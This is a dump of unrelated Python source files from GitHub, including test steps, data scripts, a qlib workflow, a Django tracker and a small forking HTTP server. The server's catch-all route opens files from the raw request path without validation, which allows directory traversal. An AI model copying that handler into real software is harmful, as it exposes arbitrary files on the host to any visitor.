item_amount):\n    sb = context.sb\n    sb.assert_true(len(sb.find_elements(f\"{helpers.return_selector(locator)}>li\")) == int(item_amount))\n\n\n@step(\"user is accepted cookie popup\")\ndef accept_cookie_popup(context):\n    sb = context.sb\n    sb.click(helpers.return_selector(\"accept cookie button\"))\n\n\n@step('user should not see \"{locator}\"')\ndef user_should_not_see_element(context, locator):\n    sb = context.sb\n    sb.assert_false(sb.is_element_visible(helpers.return_selector(locator)))\n\n\n@step(\"User refreshes the page\")\ndef refresh_page(context):\n    sb = context.sb\n    sb.refresh_page()\n\n\n@step('user clicked the \"{text}\" from \"{locator}\"')\ndef click_text_from_items(context, text, locator):\n    sb = context.sb\n    elements = sb.find_elements(helpers.return_selector(locator))\n    clicked = False\n    for elem in elements:\n        if text in elem.get_attribute(\"textContent\"):\n            print(elem.get_attribute(\"textContent\"))\n            elem.click()\n            clicked = True\n            break\n    if not clicked:\n        sb.assert_true(False)  # fail the test if the click has not made\n\n\n@step('user click button by \"{text}\" text')\ndef click_button_by_text(context, text):\n    sb = context.sb\n    sb.click(f\"//*[contains(text(),'{text}')]\")\n\n\n@step('user hover to the \"{locator}\"')\ndef hover_to_element(context, locator):\n    sb = context.sb\n    sb.hover(helpers.return_selector(locator))\n\n\n@step('\"{locator}\"\\'s \"{property}\" property is \"{expected_value}\"')\ndef check_property_value(context, locator, property, expected_value):\n    sb = context.sb\n    value = sb.get_property_value(helpers.return_selector(locator), property)\n    if \"rgb\" in value:\n        value = helpers.convert_rgb_to_hex(value)\n    sb.assert_true(value == expected_value)\n\n\n@step('user should see \"{locator}\" returns {expected_amount} item')\ndef locator_returns_number_of_elements(context, locator, expected_amount):\n    sb = context.sb\n    actual_item_amount = len(sb.find_elements(helpers.return_selector(locator)))\n    sb.assert_equal(actual_item_amount, int(expected_amount))\n","repo_name":"burkisilin/SeleniumBase-BDD-Example","sub_path":"features/steps/commonSteps.py","file_name":"commonSteps.py","file_ext":"py","file_size_in_byte":4042,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"55"}
+{"seq_id":"20654741319","text":"\n# 6\nPRICES = [\n    'open', 'high', 'low', 'close',\n    'vwap', 'returns'\n]\n\n# 3\nVOLUMES = [\n    'volume', 'adv20', 'cap'\n]\n\n# 5\none_OP_one = [\n    '+', '-', '*', '/', '^'\n]\n\n# 7\nOP_one = [\n    '', 'rank', 'sigmoid', 'exp',\n    'fraction', 'log', 'log_diff', 'scale'\n]\n\n# 2\nUNARY_OP = ['', '-']\n\n# 15\nTS_OP_1D1P = [\n    'ts_product', 'ts_std_dev',\n    'ts_sum', 'ts_entropy', 'ts_av_diff', 'ts_arg_max',\n    'ts_decay_linear', 'ts_delay', 'ts_delta', 'ts_ir',\n    'ts_max', 'ts_max_diff', 'ts_median', 'ts_min',\n    'ts_min_diff',\n\n]\n\nTS_OP_1D2P = [\n    'ts_corr'\n]\n\nGROUP_OP_1D1P = [\n    'group_zscore', 'group_std_dev', 'group_rank',\n    'group_sum', 'group_scale', 'group_max',\n    'group_median'\n]\n\nGROUP_DT = [\n    'market', 'sector', 'industry', 'subindustry'\n]\n\nP_or_M = [\n    '', '-'\n]\n\nDEAL_WITH_WEIGHT = [\n    'rank', 'sigmoid', ''\n]\n\nIF_ELSE = [\n    '?', ':'\n]\n\nCONDITION = [\n    '>', '<', '='\n]\n\nFUND = [\n    'assets', 'capex', 'cash', 'cogs',\n    'debt', 'eps', 'equity'\n]","repo_name":"AbnerTeng/WorldQuant-Brain","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"55"}
+{"seq_id":"31965548412","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"Tests for the Apple account plist plugin.\"\"\"\n\nimport unittest\n\nfrom plaso.parsers.plist_plugins import apple_account\n\nfrom tests.parsers.plist_plugins import test_lib\n\n\nclass AppleAccountPlistPluginTest(test_lib.PlistPluginTestCase):\n  \"\"\"Tests for the Apple account plist plugin.\"\"\"\n\n  def testProcess(self):\n    \"\"\"Tests the Process function.\"\"\"\n    plist_name = (\n        'com.apple.coreservices.appleidauthenticationinfo.'\n        'ABC0ABC1-ABC0-ABC0-ABC0-ABC0ABC1ABC2.plist')\n\n    plugin = apple_account.AppleAccountPlistPlugin()\n    storage_writer = self._ParsePlistFileWithPlugin(\n        plugin, [plist_name], plist_name)\n\n    number_of_event_data = storage_writer.GetNumberOfAttributeContainers(\n        'event_data')\n    self.assertEqual(number_of_event_data, 1)\n\n    number_of_warnings = storage_writer.GetNumberOfAttributeContainers(\n        'extraction_warning')\n    self.assertEqual(number_of_warnings, 0)\n\n    number_of_warnings = storage_writer.GetNumberOfAttributeContainers(\n        'recovery_warning')\n    self.assertEqual(number_of_warnings, 0)\n\n    expected_event_values = {\n        'account_name': 'email@domain.com',\n        'data_type': 'macos:apple_account:entry',\n        'creation_time': '2013-06-24T20:46:42.000000+00:00',\n        'first_name': 'Joaquin',\n        'last_connected_time': '2013-12-25T14:00:32.000000+00:00',\n        'last_name': 'Moreno Garijo',\n        'validation_time': '2013-12-25T14:00:32.000000+00:00'}\n\n    event_data = storage_writer.GetAttributeContainerByIndex('event_data', 0)\n    self.CheckEventData(event_data, expected_event_values)\n\n\nif __name__ == '__main__':\n  unittest.main()\n","repo_name":"log2timeline/plaso","sub_path":"tests/parsers/plist_plugins/apple_account.py","file_name":"apple_account.py","file_ext":"py","file_size_in_byte":1687,"program_lang":"python","lang":"en","doc_type":"code","stars":1547,"dataset":"github-code","pt":"55"}
+{"seq_id":"71892014570","text":"#import csv\r\nimport numpy as np\r\nimport cv2\r\nimport matplotlib.pyplot as plt\r\nfrom numpy import asarray\r\nimport os\r\n\r\nclass CharacterSegmentation:\r\n    def __init__(self, path, resultPath):\r\n        self.path = path\r\n        self.img = cv2.imread(path)\r\n        self.threshold = round(self.img.shape[0] // 18)\r\n        self.resultPath = resultPath\r\n    def preprocess(self):\r\n        gray = cv2.cvtColor(self.img, cv2.COLOR_BGR2GRAY)\r\n        _, thresh = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY_INV + cv2.THRESH_OTSU)\r\n\r\n        #Expand the image to the left and right with 2 background col\r\n        h = thresh.shape[0]\r\n        w = thresh.shape[1]\r\n        expand = np.zeros((h, w+2), np.uint8)\r\n        expand[0:h, 1 : w + 1] = thresh[0:h, 0:w]\r\n\r\n        #Thin the word\r\n        thinned = cv2.ximgproc.thinning(expand, thinningType=cv2.ximgproc.THINNING_GUOHALL)\r\n\r\n        #Binarize\r\n        pixelArr = asarray(thinned)\r\n        pixelArr = pixelArr.astype('float32')\r\n        pixelArr /= 255\r\n        return thinned, pixelArr\r\n    def findSegCol(self, thinned, pixelArr):\r\n        ####oversegment at h/18\r\n        currentPosition = 0\r\n        w = self.img.shape[1]\r\n        PSCs = []\r\n        end = False\r\n        while(currentPosition <= self.img.shape[1]):\r\n            PSCs.append(currentPosition)\r\n            if currentPosition == self.img.shape[1]:\r\n                end = True\r\n            currentPosition += self.threshold\r\n        if not end:\r\n            PSCs.append(self.img.shape[1])\r\n        plt.imshow(thinned)\r\n        for PSC in PSCs:\r\n            plt.axvline(x=PSC , color='red')\r\n        plt.show()\r\n\r\n        \r\n        ####Loop determination\r\n\r\n\r\n        hist = np.sum(pixelArr, axis=0)\r\n        loop_removed_PSCs = []\r\n        for i in PSCs:\r\n            if hist[i] <= 1:\r\n                loop_removed_PSCs.append(i)\r\n        plt.imshow(thinned)\r\n        for PSC in loop_removed_PSCs:\r\n            plt.axvline(x=PSC , color='red')\r\n        plt.show()\r\n\r\n        ####Character boundaries\r\n\r\n\r\n        # Merge PSCs into segmentation columns (SCs)\r\n        groupedPSCs = [[0]]  \r\n        for i in range(len(loop_removed_PSCs)):\r\n            if i == 0:\r\n                continue\r\n            if loop_removed_PSCs[i] - loop_removed_PSCs[i-1] <= self.threshold:\r\n                groupedPSCs[-1].append(loop_removed_PSCs[i])\r\n            else:\r\n                groupedPSCs.append([loop_removed_PSCs[i]])\r\n        print(groupedPSCs)\r\n        plt.imshow(thinned)\r\n        for PSC in groupedPSCs:\r\n            for element in PSC:\r\n                plt.axvline(x=element , color='red')\r\n        plt.show()\r\n        bound_PSCs = []\r\n        for group in groupedPSCs:\r\n            group = [group[0], group[-1]]\r\n            if group[-1] - group[0] <= 25:\r\n                group = [round((group[-1] + group[0])/2)]\r\n            bound_PSCs.append(group)\r\n        print(bound_PSCs)\r\n        plt.imshow(thinned)\r\n        SCs = []\r\n        for pair in bound_PSCs:\r\n            for PSC in pair:\r\n                SCs.append(PSC)\r\n        \r\n        plt.imshow(thinned)\r\n        for SC in SCs:\r\n            plt.axvline(x=SC , color='red')\r\n        plt.show()\r\n\r\n        return SCs\r\n        \r\n\r\n    def segmentCharacters(self, SCs):\r\n        charImgList = []\r\n        for i in range(len(SCs) - 1):\r\n            charImg = self.img[0:, SCs[i] : SCs[i+1]]\r\n            charImgList.append(charImg)\r\n        return charImgList\r\n\r\n    def segment(self, charImgList):\r\n        counter = 0\r\n        print(len(charImgList))\r\n        for charImg in charImgList:\r\n            charPath = os.path.join(self.resultPath, str(counter) +\".png\")\r\n            print(charPath)\r\n            cv2.imwrite(charPath, charImg)\r\n            counter = counter + 1\r\n       \r\n    def run(self):\r\n        thinned, pixelArr = self.preprocess()\r\n        SCs = self.findSegCol(thinned, pixelArr)\r\n        charImgList = self.segmentCharacters(SCs)\r\n        self.segment(charImgList) \r\n\r\n\r\n","repo_name":"LekiizRaii/EnglishOCR","sub_path":"character_segmentation/implicit_segment.py","file_name":"implicit_segment.py","file_ext":"py","file_size_in_byte":3959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"40489141648","text":"import socket\nimport time\nimport os\nimport errno\nimport signal\nimport re\nfrom myRoster import index as maccas\nfrom functools import wraps\n\nclass MyServer:\n    def __init__(self, port=8080, queue_size=5):\n        self.SERVER_ADDRESS = (self.HOST, self.PORT) = '0.0.0.0', port\n        self.REQUEST_QUEUE_SIZE = queue_size\n        self.routes = []\n\n    def _grim_reaper(self, signum, frame):\n        while True:\n            try:\n                pid, status = os.waitpid(-1, os.WNOHANG)\n            except OSError:\n                return\n\n            if pid == 0: # No more zombies\n                return\n\n    def infoFromURL(self, url, data):\n        for route in self.routes:\n            match = re.compile(route[0]).fullmatch(url)\n            if match:\n                return(route[1](data, match.groupdict()))\n        return(self.httpRespone(\"Oooof\"))\n\n    def handle_request(self, client_connection):\n        request = client_connection.recv(1024)\n        # print(request)\n        request = request.decode('utf-8')\n        # print(request)\n        try:\n            data = request.split('\\r\\n\\r\\n')[1]\n        except IndexError:\n            data = \"\"\n        http_ok = b\"HTTP/1.1 200 OK\\n\"\n\n        urlRaw, httpRaw = request.split(\"\\r\\n\", 1)\n\n        url = urlRaw.split(' ')[1]\n        print(\"\\033[38;5;202m\" + url + \"\\033[0m\")\n\n        http_response= self.infoFromURL(url, data)\n\n        client_connection.sendall(http_ok + bytes(http_response[\"headers\"] + http_response[\"content\"], 'utf-8'))\n\n    def add_route(self, route, funct):\n        self.routes.append([route, funct])\n\n    def route(self, route):\n        def decorator(funct):\n            self.add_route(route, funct)\n            \n            @wraps(funct)\n            def wrapped(*args):\n                funct(*args)\n            return(wrapped)\n        return(decorator)\n\n    def httpRespone(self, content, headers=[]):\n        return({\"content\": content, \"headers\": ''.join(header + \"\\n\" for header in headers) + '\\n'})\n\n    def run(self):\n        listen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        listen_socket.bind(self.SERVER_ADDRESS)\n        listen_socket.listen(self.REQUEST_QUEUE_SIZE)\n        print('Serving HTTP on port {port}'.format(port=self.PORT))\n\n        signal.signal(signal.SIGCHLD, self._grim_reaper)\n\n        while True:\n            try:\n                client_connection, client_address = listen_socket.accept()\n            except IOError as e:\n                code, msg = e.args\n                # restart 'accept' if it was interrupted\n                if code == errno.EINTR:\n                    continue\n                else:\n                    raise\n\n            pid = os.fork()\n            if pid == 0:\n                listen_socket.close()\n                self.handle_request(client_connection)\n                client_connection.close()\n                os._exit(0)\n            else:\n                client_connection.close()\n\nif __name__ == '__main__':\n    server = MyServer()\n\n    @server.route(\"/\")\n    def index(data, urldict):\n        try:\n            indexFile = open('./index.html', 'r')\n            content = indexFile.read()\n            indexFile.close()\n        except IOError:\n            content = \"<h1 style='font-family:helvetica'>404: File Not Found!</h1>\"\n        return(content)\n            \n    @server.route(\"/(?P<path>.*)\")\n    def index(data, urldict):\n        try:\n            indexFile = open('./' + urldict['path'], 'r')\n            content = indexFile.read()\n            indexFile.close()\n        except IOError:\n            content = \"<h1 style='font-family:helvetica'>404: File Not Found!</h1>\"\n        return(content)\n            \n    server.run()\n","repo_name":"John-AZ1/myServer","sub_path":"myServer.py","file_name":"myServer.py","file_ext":"py","file_size_in_byte":3761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"20587485942","text":"#!/usr/bin/env python\n\nimport os\nimport os.path\nimport sys\nimport subprocess\n\nmozSearchRoot = os.environ['MOZSEARCH_PATH']\nindexRoot = os.environ['INDEX_ROOT']\n\np = subprocess.Popen('find . -type f', shell=True, stdout=subprocess.PIPE,\n                     cwd=os.path.join(indexRoot, 'analysis', '__GENERATED__'))\n(stdout, stderr) = p.communicate()\n\nfiles = []\ndirs = []\ndirDict = {}\n\nlines = stdout.split('\\n')\nfor line in lines:\n    path = line[2:].strip()\n    if not path:\n        continue\n\n    if 'conftest' in path:\n        continue\n\n    path = '__GENERATED__/' + path\n\n    elts = path.split('/')\n    for i in range(len(elts)):\n        sub = '/'.join(elts[:i])\n        if sub and sub not in dirDict:\n            dirDict[sub] = True\n            dirs.append(sub + '\\n')\n\n    files.append(path + '\\n')\n\nopen(os.path.join(indexRoot, 'objdir-files'), 'w').writelines(files)\nopen(os.path.join(indexRoot, 'objdir-dirs'), 'w').writelines(dirs)\n\n","repo_name":"alliedmodders/mozsearch-am","sub_path":"scripts/find-objdir-files.py","file_name":"find-objdir-files.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"55"}
+{"seq_id":"39866942026","text":"f = open('w_abakan.ltx', 'r')\nfor i in f.readlines():\n    centres = []\n    try:\n        centres.append(i.index('='))\n    except:\n        centres.append(0)\ncenter = (max(centres))\nnew = open('1.ltx', 'w')\nf.close()\nf = open('w_abakan.ltx', 'r')\nfor i in f.readlines():\n    line = ''\n    for j in i:\n        if j == ';':\n            break\n        else:\n            if j != ' ' and j != '\\n' and j != '\\t':\n                if j == '=':\n                    line += (center - len(line)) * ' '\n                    line += j + ' '\n                else:\n                    line += j\n    if len(line) and len(i):\n        new.write(line + '\\n')\nnew.close()\nf.close()\ninput()","repo_name":"PavelBlend/stalker_garbage","sub_path":"scripts/config_cleaner/cleaner.py","file_name":"cleaner.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"1215730759","text":"from tkinter import *\nfrom tkinter import ttk\nimport tkinter as tk\nfrom winsound import *\nimport random\nfrom time import sleep\n\n\nclass game:\n\n    def __init__(self, root):\n\n        def popupmsg(msg):\n            popup = tk.Tk()\n            popup.geometry(\"150x100\")\n            popup.wm_title(\"Nice!\")\n            label = ttk.Label(popup, text=msg, font=(\"Courier New\", 16, 'bold'))\n            label.place(x=15,y=15)\n            label.pack()\n            B1 = Button(popup, padx=30, pady=14, bd=4,command = popup.destroy, bg='white', text=\"Ok\", font=(\"Courier New\", 16, 'bold'))\n            popup.resizable(width=False, height=False)\n            B1.pack()\n            popup.mainloop()\n\n        def click(x , y):\n            button1.place(x=x, y=y)\n            PlaySound(\"Evelynn_Ban.wav\", SND_ASYNC | SND_FILENAME)\n            popupmsg(\"You Win\")\n\n        def click2(x, y):\n            button12.place(x=x, y=y)\n            PlaySound(\"Evelynn_Ban.wav\", SND_ASYNC | SND_FILENAME)\n            sleep(2)\n            popupmsg(\"You Win\")\n\n        def moan(event):\n            PlaySound(\"Evelynn.attack15.wav\", SND_ASYNC |  SND_FILENAME)\n\n\n        random.randint(0, 300)\n        root.geometry(\"700x700\")\n        root.resizable(height=0, width=0)\n        root.title(\"Touch Me\")\n\n        background_label = tk.Label(root, image=background_image)\n        background_label.bind('<Button-1>', moan)\n        background_label.place(x=0, y=0, relwidth=1, relheight=1)\n\n\n\n\n        def test(event):\n            button1.place(x=random.randint(0,430),y=random.randint(0,430))\n\n        def test2(event):\n            button12.place(x=random.randint(0, 430), y=random.randint(0, 430))\n\n        button1 =  Button(root, padx=14, pady=14, bd=4, bg='white', text=\"Click Me\",\n                      command=lambda: click(random.randint(0, 430),\n                                            random.randint(0, 430)), font=(\"Courier New\", 16, 'bold'))\n        button1.bind(\"<Enter>\", test)\n\n        button1.place(x=260, y=263)\n\n        button12 = Button(root, padx=14, pady=14, bd=4, bg='white', text=\"No Me\",\n                         command=lambda: click2(random.randint(0, 430),\n                                               random.randint(0, 430)), font=(\"Courier New\", 16, 'bold'))\n        button12.bind(\"<Enter>\", test2)\n\n        button12.place(x=100, y=100)\n\n\nroot = Tk()\nbackground_image = tk.PhotoImage(file=\"-engine-blood-moon-evelynn-wallpaper.ppm\")\nTestGame = game(root)\n\nroot.mainloop()\n\n","repo_name":"theexplosionmage/catchher","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"10365859851","text":"import pandas as pd\nimport streamlit as st\nimport nltk\n\n\nnltk.download('punkt')\n\n\ndef get_corpus(df, sight_name):\n    sight_df = df[df['sight'] == sight_name]\n    lines = sight_df['review_text_rus'].tolist()\n    tokens = []\n    exceptions_count = 0\n    tokenizer = nltk.RegexpTokenizer('\\w+')\n    for line in lines:\n        try:\n            tokens += tokenizer.tokenize(line)\n        except Exception as exc:\n            exceptions_count += 1\n            if exceptions_count == 1:\n                print(exc)\n    return [token.lower() for token in tokens]\n\n\ndef get_uni_freqs(corpus):\n    fdist = nltk.FreqDist(corpus)\n    freqs = []\n    for k, v in fdist.items():\n        freqs.append((k, v))\n    return freqs\n\n\ndef get_bi_freqs(corpus):\n    bgs = nltk.bigrams(corpus)\n    fdist = nltk.FreqDist(bgs)\n    freqs = []\n    for k, v in fdist.items():\n        freqs.append((k, v))\n    return freqs\n\ndef get_tri_freqs(corpus):\n    tgs = nltk.trigrams(corpus)\n    fdist = nltk.FreqDist(tgs)\n    freqs = []\n    for k, v in fdist.items():\n        freqs.append((k, v))\n    return freqs\n\n\n@st.cache\ndef bigram_trigram(reviews_df):\n    sight_names = reviews_df['sight'].unique()\n\n    uni_freqs = {f: \"\" for f in sight_names}\n    bi_freqs = {f: \"\" for f in sight_names}\n    tri_freqs = {f: \"\" for f in sight_names}\n\n    for sight_name in sight_names:\n        corpus = get_corpus(reviews_df, sight_name)\n\n        uni_freqs[sight_name] = get_uni_freqs(corpus)\n        bi_freqs[sight_name] = get_bi_freqs(corpus)\n        tri_freqs[sight_name] = get_tri_freqs(corpus)\n\n    return uni_freqs, bi_freqs, tri_freqs\n","repo_name":"CyberMaryVer/reviews-explorer","sub_path":"utils/trigram.py","file_name":"trigram.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"21546516732","text":"from functools import lru_cache\nfrom sys import stdin, stdout\n\n\ndef findL(m, s, isFirst=True):\n    if m == 0:\n        return -1 if s != 0 else \"\"\n\n    if s == m:\n        return \"1\" * s\n\n    for i in range(9, 0 if isFirst else -1, -1):\n        ans = findL(m - 1, s - i, False)\n        if ans != -1:\n            return str(i) + ans\n\n    return -1\n\n\ndef findS(m, s, isFirst=True):\n    if m == 0:\n        return -1 if s != 0 else \"\"\n\n    if s < 0:\n        return -1\n\n    for i in range(1 if isFirst else 0, 10):\n        ans = findS(m - 1, s - i, False)\n        if ans != -1:\n            return str(i) + ans\n\n    return -1\n\n\nm, s = map(int, stdin.readline().split())\nif s == 0 and m == 1:\n    print(0, 0)\nelse:\n    print(int(findS(m, s)), int(findL(m, s)))\n","repo_name":"brukted/comptetive-programming","sub_path":"a2sv_contest_problems/A_Given_Length_and_Sum_of_Digits.py","file_name":"A_Given_Length_and_Sum_of_Digits.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"6217686170","text":"import qlib\nfrom qlib.constant import REG_CN\nfrom qlib.utils import init_instance_by_config, flatten_dict\nfrom qlib.workflow import R\nfrom qlib.workflow.record_temp import SignalRecord, PortAnaRecord, SigAnaRecord\nfrom qlib.tests.data import GetData\nfrom qlib.tests.config import CSI300_BENCH, CSI300_GBDT_TASK\n\n\nif __name__ == \"__main__\":\n    # use default data\n    provider_uri = \"~/.qlib/qlib_data/cn_data\"  # target_dir\n    GetData().qlib_data(target_dir=provider_uri, region=REG_CN, exists_skip=True)\n    qlib.init(provider_uri=provider_uri, region=REG_CN)\n\n    model = init_instance_by_config(CSI300_GBDT_TASK[\"model\"])\n    dataset = init_instance_by_config(CSI300_GBDT_TASK[\"dataset\"])\n\n    port_analysis_config = {\n        \"executor\": {\n            \"class\": \"SimulatorExecutor\",\n            \"module_path\": \"qlib.backtest.executor\",\n            \"kwargs\": {\n                \"time_per_step\": \"day\",\n                \"generate_portfolio_metrics\": True,\n            },\n        },\n        \"strategy\": {\n            \"class\": \"TopkDropoutStrategy\",\n            \"module_path\": \"qlib.contrib.strategy.signal_strategy\",\n            \"kwargs\": {\n                \"signal\": (model, dataset),\n                \"topk\": 50,\n                \"n_drop\": 5,\n            },\n        },\n        \"backtest\": {\n            \"start_time\": \"2017-01-01\",\n            \"end_time\": \"2020-08-01\",\n            \"account\": 100000000,\n            \"benchmark\": CSI300_BENCH,\n            \"exchange_kwargs\": {\n                \"freq\": \"day\",\n                \"limit_threshold\": 0.095,\n                \"deal_price\": \"close\",\n                \"open_cost\": 0.0005,\n                \"close_cost\": 0.0015,\n                \"min_cost\": 5,\n            },\n        },\n    }\n\n    # NOTE: This line is optional\n    # It demonstrates that the dataset can be used standalone.\n    example_df = dataset.prepare(\"train\")\n    print(example_df.head())\n\n    # start exp\n    with R.start(experiment_name=\"workflow\"):\n        R.log_params(**flatten_dict(CSI300_GBDT_TASK))\n        model.fit(dataset)\n        R.save_objects(**{\"params.pkl\": model})\n\n        # prediction\n        recorder = R.get_recorder()\n        sr = SignalRecord(model, dataset, recorder)\n        sr.generate()\n\n        # Signal Analysis\n        sar = SigAnaRecord(recorder)\n        sar.generate()\n\n        # backtest. If users want to use backtest based on their own prediction,\n        # please refer to https://qlib.readthedocs.io/en/latest/component/recorder.html#record-template.\n        par = PortAnaRecord(recorder, port_analysis_config, \"day\")\n        par.generate()\n","repo_name":"microsoft/qlib","sub_path":"examples/workflow_by_code.py","file_name":"workflow_by_code.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","stars":12873,"dataset":"github-code","pt":"55"}
+{"seq_id":"26052788594","text":"import pyaudio\nimport numpy as np\nimport librosa\n\npyau = pyaudio.PyAudio()\nCHUNK = 1024 * 2\nRATE = 44100\n\nstream = pyau.open(\n    format = pyaudio.paInt16,\n    channels = 1,\n    rate = RATE,\n    frames_per_buffer = CHUNK,\n    input = True,\n    output = True)\n\nwhile stream.is_active():\n    # input audio\n    au_in = stream.read(CHUNK)\n    # convert wave\n    au_in_wave = np.frombuffer(au_in, dtype = \"int16\") / float(2**15)\n    # process\n    pitch, temp = librosa.beat.beat_track(y = au_in_wave, sr = RATE)\n    print(pitch)\n    # output audio\n    au_out = stream.write(au_in)\n\nstream.stop_stream()\nstream.close()\npyau.terminate()\n\nprint(\"stop\")\n","repo_name":"amataku/voice2cv","sub_path":"app/voice2cv.py","file_name":"voice2cv.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"41638616310","text":"from setuptools import setup\nfrom codecs import open\nfrom os import path\n\nhere = path.abspath(path.dirname(__file__))\n\nwith open(path.join(here, 'README.rst'), encoding='utf-8') as f:\n    long_description = f.read()\n\nsetup(\n    name='cinema21',\n    version='1.0.1',\n    description='A simple Cinema21 API wrapper.',\n    long_description=long_description,\n    url='https://github.com/cwkfr/cinema21-py',\n    author='CWKFR',\n    author_email='cwkfr@protonmail.com',\n    license=\"MIT\",\n    classifiers=[\n        'Development Status :: 5 - Production/Stable',\n\n        'Intended Audience :: Developers',\n        'Topic :: Games/Entertainment',\n        'Topic :: Utilities',\n        'Topic :: Software Development :: Libraries :: Python Modules',\n\n        'License :: OSI Approved :: MIT License',\n\n        'Programming Language :: Python :: 2.7',\n        'Programming Language :: Python :: 3',\n        'Programming Language :: Python :: 3.4',\n        'Programming Language :: Python :: 3.5',\n        'Programming Language :: Python :: 3.6',\n    ],\n    keywords='cinema21 unofficial api',\n    py_modules=[\"cinema21\"],\n    install_requires=['requests'],\n    project_urls={\n        'Bug Reports': 'https://github.com/cwkfr/cinema21-py/issues',\n    },\n)\n","repo_name":"Shivelight/cinema21-py","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"55"}
+{"seq_id":"33964638179","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Jan 06 17:03:45 2018\r\n\r\n@author: Administrator\r\n\"\"\"\r\nimport urllib2\r\nfrom HTMLParser import HTMLParser\r\n\r\nclass MoviePaser(HTMLParser):\r\n    def __init__(self):\r\n        HTMLParser.__init__(self)\r\n        self.movies=[]\r\n    def handle_starttag(self,tag,attrs):\r\n        def _attr(attrlist,attrname):\r\n            for attr in attrlist:\r\n                if attr[0] == attrname:\r\n                    return attr[1]\r\n            return None\r\n        if tag == 'li' and _attr(attrs,'data-title') and _attr(attrs, 'data-category') == 'nowplaying':\r\n            movie = {}\r\n            movie['title'] = _attr(attrs,'data-title')\r\n            movie['score'] = _attr(attrs,'data-score')\r\n            movie['director'] = _attr(attrs,'data-director')\r\n            movie['actors'] = _attr(attrs,'data-actors')\r\n            self.movies.append(movie)\r\n            print('%(title)s|%(score)s|%(director)s|%(actors)s' % movie)\r\n            \r\n\r\ndef nowplaying_movies(url):\r\n    headers = {}\r\n    req = urllib2.Request(url,headers=headers)\r\n    s = urllib2.urlopen(req)\r\n    parser = MoviePaser()\r\n    parser.feed(s.read())\r\n    s.close()\r\n    return parser.movies\r\n\r\nif __name__ == '__main__':\r\n   url = 'https://movie.douban.com/cinema/nowplaying/wuxi/'\r\n   movies = nowplaying_movies(url)\r\n   import json\r\n   print('%s' % json.dumps(movies, sort_keys=True, indent=4, separators=(',', ': ')))","repo_name":"mawenlong1/python","sub_path":"spider/demo01/douban_movies.py","file_name":"douban_movies.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"9757056487","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.shortcuts import render, redirect, get_list_or_404, get_object_or_404\nfrom django.core.urlresolvers import reverse\nfrom .forms import TicketForm, CommentForm\nfrom .models import Ticket, Comment, UpVote\nfrom django.http import HttpResponse\nimport json\nfrom django.core import serializers\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.utils import timezone\nfrom django.core import serializers\nfrom django.http import JsonResponse\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.contrib.auth.decorators import login_required\nfrom django.conf import settings\nfrom helper.helper import check\n\nUser = settings.AUTH_USER_MODEL\n\n# Create your views here.\n\n# >index view\ndef index(request):\n  tickets = Ticket.objects.all()\n  page = request.GET.get('page', 1)\n  paginator = Paginator(tickets, 10)\n  try:\n      tix = paginator.page(page)\n  except PageNotAnInteger:\n      tix = paginator.page(1)\n  except EmptyPage:\n      tix = paginator.page(paginator.num_pages)\n\n  return render(request,'tracker/index.html',{'tickets':tix})\n\n# >form view\n@login_required(login_url='accounts:login')\ndef form(request): \n  if not check(request):\n    return redirect(reverse('accounts:logout'))\n  # Temp - Process form\n  if request.method == 'POST':\n    form = TicketForm(request.POST)\n    if form.is_valid():\n      form = form.save(commit=False)\n      form.user_id = request.user.id  \n      # form.submitted = timezone.now\n      # form.modified = ''\n      form.save()\n      # return render(request,'tracker/index.html',{'form':form})\n      return redirect('tracker:index')\n  else:\n    # Temp - Display form\n    form = TicketForm()\n  return render(request,'tracker/form.html',{'form':form}) \n\n# >ticket view\ndef ticket(request, id):\n  if not check(request):\n    return redirect(reverse('accounts:logout'))\n  ticket = get_object_or_404(Ticket, id=id) # The specific ticketdetail\n  comments = Comment.objects.filter(ticket=ticket) # All comments for this (ticket variable) specific ticketdetail\n\n  if request.method == 'POST':\n    form = CommentForm(request.POST) # The populated form for the new comment\n    if form.is_valid():\n      comment = form.save(commit=False) # Assign form to comment variable without saving to data base. I need to change something first.\n      comment.ticket = ticket # Added the current ticket to the comment's foreign key 'ticket'.\n      comment.user_id = request.user.id # User Id\n      comment.save() # Save changes\n      form = CommentForm() # reset form for new comments\n      # Return template\n      return render(request, 'tracker/ticketdetail.html', {'ticket': ticket,\n                                                    'comments': comments,\n                                                    'form': form })\n  else:\n    form = CommentForm()\n 